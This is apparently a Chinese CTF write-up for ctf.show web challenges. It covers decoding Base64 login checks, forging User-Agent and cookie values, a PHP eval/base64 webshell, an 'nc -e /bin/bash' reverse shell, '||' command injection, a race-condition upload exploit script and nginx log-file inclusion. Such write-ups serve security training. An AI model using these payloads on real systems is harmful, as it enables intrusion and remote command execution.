第一章 Base64编码隐藏 一个登录口
在源码中找到js代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <script> document .getElementById ('loginForm' ).addEventListener ('submit' , function (e ) { e.preventDefault (); const correctPassword = "Q1RGe2Vhc3lfYmFzZTY0fQ==" ; const enteredPassword = document .getElementById ('password' ).value ; const messageElement = document .getElementById ('message' ); if (btoa (enteredPassword) === correctPassword) { messageElement.textContent = "Login successful! Flag: " +enteredPassword; messageElement.className = "message success" ; } else { messageElement.textContent = "Login failed! Incorrect password." ; messageElement.className = "message error" ; } }); </script>
btoa()
是 JavaScript 内置函数,用来把字符串编码成 Base64。所以这里的逻辑是需要等于correctPassword,解码一下然后传进去就行了
HTTP头注入 还是看前端登录逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 <script> document .getElementById ('loginForm' ).addEventListener ('submit' , function (e ) { const correctPassword = "Q1RGe2Vhc3lfYmFzZTY0fQ==" ; const enteredPassword = document .getElementById ('password' ).value ; const messageElement = document .getElementById ('message' ); if (btoa (enteredPassword) !== correctPassword) { e.preventDefault (); messageElement.textContent = "Login failed! Incorrect password." ; messageElement.className = "message error" ; } }); </script>
显示
1 2 Invalid User-Agent You must use "ctf-show-brower" browser to access this page
伪造UA头就行了
Base64多层嵌套解码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <script> document .getElementById ('loginForm' ).addEventListener ('submit' , function (e ) { const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=" ; function validatePassword (input ) { let encoded = btoa (input); encoded = btoa (encoded + 'xH7jK' ).slice (3 ); encoded = btoa (encoded.split ('' ).reverse ().join ('' )); encoded = btoa ('aB3' + encoded + 'qW9' ).substr (2 ); return btoa (encoded) === correctPassword; } const enteredPassword = document .getElementById ('password' ).value ; const messageElement = document .getElementById ('message' ); if (!validatePassword (enteredPassword)) { e.preventDefault (); messageElement.textContent = "Login failed! Incorrect password." ; messageElement.className = "message error" ; } }); </script>
根据validatePassword逆推原始密码就行了,先梳理一下加密逻辑
base64编码
加上xH7jK
并base64编码后把前 3 个字符去掉
把字符串拆成字符数组后进行反转并还原为字符串,最后base64加密
头加上aB3
,尾加上qW9
再进行一次base64编码并丢掉前两个字符
最后返回比较结果
最后写个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 import base64from itertools import productB64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=" def b64e (s: str ) -> str : return base64.b64encode(s.encode()).decode() def b64d_to_str (s: str ) -> str : """稳健的 Base64 解码到 str(自动补 '=')""" for pad in range (3 ): try : return base64.b64decode(s + "=" * pad).decode() except Exception: continue return base64.b64decode(s + "==" ).decode() def forward_js_like (pw: str ) -> str : """按题面 JS 的 validatePassword 逻辑正向编码,用来校验""" encoded = b64e(pw) encoded = b64e(encoded + 'xH7jK' )[3 :] encoded = b64e(encoded[::-1 ]) encoded = b64e('aB3' + encoded + 'qW9' )[2 :] return b64e(encoded) def validatePassword (): s1_base64 = base64.b64decode(correctPassword.encode()).decode() s2 = None for x, y in product(B64, repeat=2 ): target = x + y + s1_base64 try : decrypted = base64.b64decode(target, validate = True ).decode() except Exception: continue if decrypted.startswith("aB3" ) and decrypted.endswith("qW9" ): s2 = decrypted[3 :-3 ] break assert s2 is not None , "无法恢复 s2" s1_base64 = b64d_to_str(s2)[::-1 ] candidates = [] for a, b, c in product(B64, repeat=3 ): t1_full = a + b + c + s1_base64 try : dec = base64.b64decode(t1_full, validate=True ).decode() except Exception: continue if not dec.endswith('xH7jK' ): continue s0 = dec[:-5 ] for pad in range (3 ): try : raw = base64.b64decode(s0 + "=" * pad) except Exception: continue txt = None try : txt = raw.decode('ascii' ) except Exception: continue if len (txt) == 0 : continue if txt.isdigit(): rank = 0 elif txt.isalnum(): rank = 1 elif all (32 <= ord (ch) < 127 for ch in txt): rank = 2 else : continue candidates.append((rank, len (txt), txt)) break assert candidates, "未找到可读的口令候选" candidates.sort() best = candidates[0 ][2 ] assert forward_js_like(best) == correctPassword, "校验失败:请检查实现" return best if __name__ == '__main__' : pw = validatePassword() print ("[+] 找到可用口令:" , pw)
最后输出017316为正确密码,伪造一下UA头就行了
当然也可以用官方的脚本去进行暴力破解,因为我一开始不知道password的内容类型和长度
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=" ;function encrypt (password ) { let encoded = btoa (password); encoded = btoa (encoded + 'xH7jK' ).slice (3 ); encoded = btoa (encoded.split ('' ).reverse ().join ('' )); encoded = btoa ('aB3' + encoded + 'qW9' ).substr (2 ); return btoa (encoded); } function bruteForce6Digit ( ) { console .time ('Brute Force Time' ); for (let num = 0 ; num <= 999999 ; num++) { const candidate = num.toString (); if (encrypt (candidate) === correctPassword) { console .timeEnd ('Brute Force Time' ); return candidate; } if (num % 100000 === 0 ) { console .log (`Progress: ${num/100000 } 0%` ); } } console .timeEnd ('Brute Force Time' ); return "Not found" ; } console .log ("Result:" , bruteForce6Digit ());
HTTPS中间人攻击 丢wireshark分析一下
可以看到这里的TLS,需要使用 TLS 密钥去进行解密
1 2 Wireshark → Edit → Preferences → Protocols → TLS → (Pre)-Master-Secret log filename
导入附件中的ssl密钥就可以看到原始报文了
Cookie伪造 通过弱口令 guest/guest登陆,发现是游客账号,但是在cookie中发现role的值为guest,尝试改为admin就可以伪造身份拿到flag了
第二章 一句话木马变形 仅允许字母、数字、下划线、括号和分号。
首先是phpinfo看一下版本吗,发现是php7.3
利用php7.3版本对常量和字符串的兼容性,来绕高对单双引号的限制
用base64去加密我们的木马
1 eval (base64_decode (c3lzdGVtKCJ3aG9hbWkiKTs));
这里不能有等于号,所以可以在加密内容前后添加空格去解决
反弹shell构造 可以反弹shell也可以重定向命令执行结果到文件
1 nc -e /bin/bash [ip] [port]
管道符绕过过滤 发现前面有一个ls,用||
管道符去绕过就行,这里的话需要让前面的命令失效才能执行后面的命令
1 2 111 || whoami //www-data
或者可以用管道符去将ls的执行结果作为下一个命令的输入,直接给poc
ls拿到结果后在结果里面grep查找flag并输出
无字母数字代码执行 无数字字母的代码执行,这个很常规,但是需要注意hackbar的问题,在bp里发包就可以了
无字母数字命令执行 直接放包的脚本吧,也是很简单的做一个条件竞争
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import requestsimport concurrent.futuresurl = "http://cb41ef8b-97e0-40e7-828a-349cc3ce3118.challenge.ctf.show/" file_content = b"#!/bin/sh\ntac flag.php" data = { 'code' : '. /???/????????[@-[]' , } def upload_file (): files = { 'file' : ('test.txt' , file_content, 'text/plain' ) } try : response = requests.post(url, files=files, timeout=5 ) print (f"上传请求返回状态码: {response.status_code} " ) return response except requests.exceptions.RequestException as e: print (f"上传请求失败: {e} " ) return None def send_post (): try : response = requests.post(url, data=data, timeout=5 ) print (f"POST 请求返回状态码: {response.status_code} " ) return response except requests.exceptions.RequestException as e: print (f"POST 请求失败: {e} " ) return None def race_condition (): with concurrent.futures.ThreadPoolExecutor(max_workers=50 ) as executor: futures = [executor.submit(upload_file) for _ in range (25 )] futures.extend([executor.submit(send_post) for _ in range (25 )]) for future in concurrent.futures.as_completed(futures): result = future.result() if result and "flag" in result.text: print ("\n--- 成功!可能找到 Flag ---" ) print (result.text) return True return False print ("正在尝试利用条件竞争,请稍候..." )success = False for i in range (50 ): if race_condition(): success = True break print (f"第 {i + 1 } 轮尝试失败,继续..." ) if not success: print ("\n--- 所有尝试均失败 ---" )
第三章 日志文件包含 是nginx中间件,日志文件路径为/var/log/nginx/access.log,那就尝试在请求头写马,然后去进行包含